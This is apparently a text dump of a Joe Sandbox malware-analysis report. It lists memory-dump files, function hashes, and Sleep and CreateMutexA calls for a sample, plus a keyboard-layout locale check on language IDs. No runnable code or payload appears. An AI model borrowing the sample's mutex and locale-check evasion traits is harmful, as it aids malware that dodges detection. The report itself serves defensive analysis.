Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: fdcc8e51f00a6795630f1ef64b7b19497171fecf152beec33252230f70bd0ccd
Instruction ID: 4b90ad54b92971e7a132554a11e0cd0a6ba4269d0b344b28549e6084722faf35
Opcode Fuzzy Hash: fdcc8e51f00a6795630f1ef64b7b19497171fecf152beec33252230f70bd0ccd
Instruction Fuzzy Hash: 72F1E17090024C9BEB24DF54CC85BDEBBB9EF45304F5046A8F919A7281DB74AAC8CF95

Function 00C59BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C5A963
CreateMutexA.KERNEL32(00000000,00000000,00CB3254), ref: 00C5A981

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c9a05d9743ee385a19bb43d0046cf2d9bdb6eb17100cb9b86b80d891832d3a27
Instruction ID: 5d486ea7da8bf6d617612e16126e6c715784aabc98e7cae8573783841b8a9b0f
Opcode Fuzzy Hash: c9a05d9743ee385a19bb43d0046cf2d9bdb6eb17100cb9b86b80d891832d3a27
Instruction Fuzzy Hash: 15316A31B00200CBFB18AB7CDCC576DB762EB82315F248398E814973D6C7759AC98756

Function 00C59F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C5A963
CreateMutexA.KERNEL32(00000000,00000000,00CB3254), ref: 00C5A981

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e014fecc16d75fae70651be0c534f6bba8e42e9bc3c45721924e80f56dbf2b5e
Instruction ID: 1e988a4e0cf6d17480118dd562e70a899e8a293ff74ad8d4da6b45a97e59d763
Opcode Fuzzy Hash: e014fecc16d75fae70651be0c534f6bba8e42e9bc3c45721924e80f56dbf2b5e
Instruction Fuzzy Hash: 13314631B00240CBEB18ABA8DCC57ACB762EF85315F248759E824D72D1C7759AC88716

Function 00C5A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C5A963
CreateMutexA.KERNEL32(00000000,00000000,00CB3254), ref: 00C5A981

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2932000d12ef34fe53c7df362288a01fdae2b71860927c45e2e805e06fc6a3bf
Instruction ID: f0ba042536d37607275f0f44e15d1796f4e1dcc974e08e7a4af824b74427b723
Opcode Fuzzy Hash: 2932000d12ef34fe53c7df362288a01fdae2b71860927c45e2e805e06fc6a3bf
Instruction Fuzzy Hash: 7C318A31B00140DBEB18ABB9CCC576DB762EBC1315F248719E824973D1C77599C9872B

Function 00C5A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C5A963
CreateMutexA.KERNEL32(00000000,00000000,00CB3254), ref: 00C5A981

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 88bb823bf07befb384dafbfdf288411549da31707da0bf64c7bfeb8d6fba4a6c
Instruction ID: e970d51e7984001957b738d0df1f3851c01bbef9a26790bb75c79c095d2d35a5
Opcode Fuzzy Hash: 88bb823bf07befb384dafbfdf288411549da31707da0bf64c7bfeb8d6fba4a6c
Instruction Fuzzy Hash: 20318A31B00240DBFB08ABBDDCC976DB762EB96315F248719E814A72D1C7759DC8831A

Function 00C5A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C5A963
CreateMutexA.KERNEL32(00000000,00000000,00CB3254), ref: 00C5A981

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
